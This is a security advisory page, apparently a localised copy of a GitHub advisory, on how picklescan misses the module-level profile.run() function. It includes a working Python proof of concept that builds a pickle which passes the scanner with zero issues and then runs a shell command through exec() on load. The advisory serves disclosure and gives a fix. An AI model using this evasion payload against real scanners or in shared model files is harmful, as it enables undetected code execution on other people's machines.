Krytyczna

PickleScan's profile.run blocklist mismatch allows exec() bypass

  • Ujawniono: 03.03.2026
  • Aktualizacja: 11.10.2026 12:20

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

python
"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

python
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

python
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

python
"profile": {"Profile.run", "Profile.runctx"},

to:

python
"profile": "*",

Or explicitly add the module-level functions:

python
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) picklescan < 1.0.4 1.0.4

Odnośniki

Ocena CVSS 9.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-184, CWE-697
Platforma
Python (PyPI)
Paczka
picklescan
Ujawniono
03.03.2026
Aktualizacja
11.10.2026 12:20

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-7wx9-6375-f5wh - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-455 - PyPA Advisory Database; CC BY 4.0

Historia podatności: picklescan

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (58) w archiwum
Wszystkich wpisów
58
Pierwsza → ostatnia
02.2025 03.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 25
  • Średnia 26

Ujawnienia w latach

  1. 2025: 51
  2. 2026: 7
Istotność:
  1. Krytyczna · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. Krytyczna · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass ten wpis
    Krytyczna · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Wysoka · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. Wysoka · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. Wysoka ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. Wysoka CVE-2025-71320 < 0.0.33 0.0.33
  8. Wysoka · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. Wysoka CVE-2025-71321 < 0.0.33 0.0.33
  10. Krytyczna · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Pokaż więcej (12) Widać 20 z 32

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.